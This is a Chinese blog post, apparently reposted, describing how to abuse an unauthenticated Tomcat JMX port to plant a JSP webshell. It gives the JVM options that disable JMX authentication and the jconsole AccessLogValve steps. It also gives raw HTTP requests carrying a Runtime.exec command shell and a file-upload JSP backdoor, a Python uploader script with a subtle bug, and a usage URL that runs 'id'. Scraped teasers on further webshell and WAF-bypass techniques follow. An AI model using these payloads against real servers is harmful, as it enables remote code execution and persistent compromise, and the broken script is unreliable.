实战利用tomcat的JMX端口上传webshell

1、 配置tomcat启动jconsole到1099端口的配置:
参考文章:https://www.cnblogs.com/baihuitestsoftware/articles/6405580.html

//可以将其设置为无密码访问:

cd /opt/apache-tomcat-8.0.3/bin
vi catalina.sh
# OS specific support. $var _must_ be set to either true or false.添加如下变量:
CATALINA_OPTS="$JAVA_OPTS -Djava.rmi.server.hostname=192.168.1.100
-Dcom.sun.management.jmxremote.port=1099
-Dcom.sun.management.jmxremote.authenticate=false
-Dcom.sun.management.jmxremote.ssl=false"

//重启tomcaty
./shutdown.sh
./startup.sh

2、 本地->运行输入:jconsole

//VM概要中获得tomcat的web主目录 :
Dcatalina.home=/opt/apache-tomcat-8.0.3

//获得/manager/html后台的访问密码:

//上传webshell:
MBeans->Catalina->Valve->localhost->AccessLogValue->操作 可以写入jsp后门:
../webapps/docs/test11.jsp //测试成功
/opt/apache-tomcat-8.0.3/webapps/docs/test11.jsp

//使用burpsuite写入cmd后门:
1)
GET /test?<%Runtime.getRuntime().exec(request.getParameter("cmd"));%> HTTP/1.1
Host: 192.168.1.100:8080

2)

GET /test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"></jsp:directive><jsp:directive.page import="java.io.OutputStream"></jsp:directive><jsp:directive.page import="java.io.FileOutputStream"></jsp:directive><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action=‘?act=yoco‘ method=‘post‘><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart"> HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.3.6000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Language: zh-CN
Cookie: JSESSIONID=FD5D2DAF6665FC4C3CC90C814757BF97
Connection: close
Content-Length: 2

3)jmx.py webshell上传程序,解决了url编码问题:

#!/user/bin/env python
#coding=utf8
#auther:[email protected]
#jmx.py webshell上传程序,解决了url编码问题

import sys
import urlparse
import urllib2

if __name__ == ‘__main__‘:
   url = ‘http://192.168.1.100:8080‘
   reqBind=‘‘‘/test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action=‘?act=yoco‘ method=‘post‘><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">‘‘‘
   reqBind=reqBind.decode(‘utf-8‘)
   proxies={
           "http":"http://127.0.0.1:8080"
           }

   try:
      #print ‘[*]url=%s\n‘ %(url)
      print "\n[*]webshell:"
      print url+"/docs/test11.jsp"
      #url=url+reqBind
      ‘‘‘
      request = urllib2.Request(url+reqBind)
      request.add_header(‘User-Agent‘, ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0‘)
      request.add_header(‘Accept-Language‘, ‘en-us;q=0.5,en;q=0.3‘)
      request.add_header(‘Referer‘, request.get_full_url())
      ‘‘‘
      u = urllib2.urlopen(request,timeout = 3)
      content = u.read()
      content = content.encode("utf-8")
      print "\n========================================================================================================="
      print "\n[*]response:\n"
      print content
      print "\n========================================================================================================="
   except Exception as e:
      print e

//访问webshell地址:
http://192.168.1.100:8080/docs/test11.jsp?cmd=id

参考链接:
https://www.anquanke.com/post/id/85442

原文地址:https://www.cnblogs.com/pt007/p/11857185.html

时间: 2024-11-03 23:04:37

实战利用tomcat的JMX端口上传webshell的相关文章

网络安全系列之五十五 利用抓包来上传webshell

在Web渗透的过程中,最为麻烦的一个环节就是上传WebShell,之前曾介绍过利用数据库备份来上传,这也属于最为简单和古老的一种方法.本文将介绍另外一种利用抓包来上传WebShell的方法,目标网站采用南方数据5.0,实验平台采用IIS搭建,如何利用IIS搭建ASP网站可参考博文http://yttitan.blog.51cto.com/70821/1579372. 首先登录网站后台,找到上传点. 点击浏览按钮,打开"选择文件"窗口,随意选择一张准备上传的图片. 注意,这里先不要点击&

利用Selenium实现图片文件上传的两种方式介绍

在实现UI自动化测试过程中,有一类需求是实现图片上传,这种需求根据开发的实现方式,UI的实现方式也会不同. 一.直接利用Selenium实现 这种方式是最简单的一种实现方式,但是依赖于开发的实现. 当开发直接使用file类型的input实现图片文件的上传时,实例:<input type="file" name=''filename"> 我们可以直接利用Selenium提供的方法实现文件上传,但是因为依赖开发的实现,而且目前实现基本都会利用框架,所以这种实现方式有很

webshell上传技术之--Fckeditor漏洞上传webshell

[实验目的] Fckeditor为在线网友编辑器.本实验演示Fckeditor2.4.2以下版本的一个编辑器上传漏洞. 目前最新版本为CKEditor 4.5.3. [实验原理] Fckeditor在2.4.2以下存在一个直接上传任意文件的上传页面,可直接上传webshell. [实验步骤] 一.编辑器操作 1.1 打开网站输入 /FCKeditor,判断是否有fckeditor编辑器,出现403禁止访问,说明此目录存在 1.2判断fckeditor编辑器版本号,输入:http://ip:83/

绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Windows Server 2003. Apache/2.4.18.PHP/5.3.29.网站安全狗(Apache版)V3.5.12048 2.用于文件上传的PHP源码: <?php $path = dirname(__FILE__) . '/upload/'; $rand = rand(0,30);

利用http实现文件的上传和下载

其他语言都比较方便,使用http上传.但是C++这样就差点,不过还好,Linux下有个curl的命令行工具,这是一个开源项目,底下有个子项目是libcurl,curl就是调用这个API实现的一系列ftp,http等上传下载的功能,这个库功能还是挺多的.支持的协议也多.这样就可以利用这个库来实现http上传和下载了. 当然这个库的API有两种接口,一种是esay的-------同步阻塞模式.另一种是Multi的,我没研究它,以下用的都是easy的接口,来写的样例代码. 不过在学这个库的接口之前,最

视频(其他)下载+tomcat 配置编码+图片上传限制大小

视频下载:前台 jsp function downVideo(value,row,index){ return '<a href="<%=basePath%>admin/video/video!fileDown.ds?uname='+row.uname+'&filepath='+value+'">下载</a>'; } 后台java : action: public void fileDown() { FileUtil.download(fil

tomcat集群 文件上传

由于项目需求变动,原来的java web项目需要用到tomcat集群.运用集群之前需要先解决几个小问题,现在就来说一下,关于文件上传的问题(因为我之前文件是保存在服务器某个文件夹下,访问服务器1tomcat上传的文件,会有服务器2tomcat不能操作的情况): lz菜鸟,简单的把操作步骤介绍如下,如有不对的地方,欢迎大家留言讨论,谢谢大家! 1.首先,把保存所有文件的文件夹共享: 2.用到的jar包,我用的是:jcifs-1.3.17.jar: 3.向共享目录中上传文件(共享文件名现命名为tes

[开源应用]利用HTML5+resumableJs拖拽上传大文件

前言: 大文件传输一直是技术上的一大难点.文件过大时,一些性提交所有的内容进内存是不现实的.大文件带来问题还有是否支持断点传输和多文件同时传输. 本文以resumableJs为例,介绍了如何在ASP.NET中实现大文件传输.同时本文利用了Html5的新特性:支持拖拽. 本文的主要技术点在于:如何接收resumableJs的传送内容(官网不太清楚)和如何合并文件,难度并不高. 注:原博客中,此文章为原站点个人代码备份所用,注释不多,如有不懂,请在评论中给出. 效果: ASPX File: <htm

关于Tomcat和Nginx图片上传以及访问的路径问题

在实际项目中,我们很多时候需要把图片保存起来,方式有很多种,最简便的方法就是使用第三方的服务,比如阿里云.腾讯.七牛云.网易云信等都提供了图片的镜像存储,能轻松存储图片,我之前写过七牛云的图片存储,有兴趣的同学可以去看一下. 今天我要总结的东西是如何将文件上传到自己的服务器并且访问. 当我们安装好Tomcat和Nginx的时候,在其安装目录下面都会有一个根目录,Tomcat的根目录是 /var/www/html/,而Nginx是 /usr/local/nginx/html/, 我们在这两个文件夹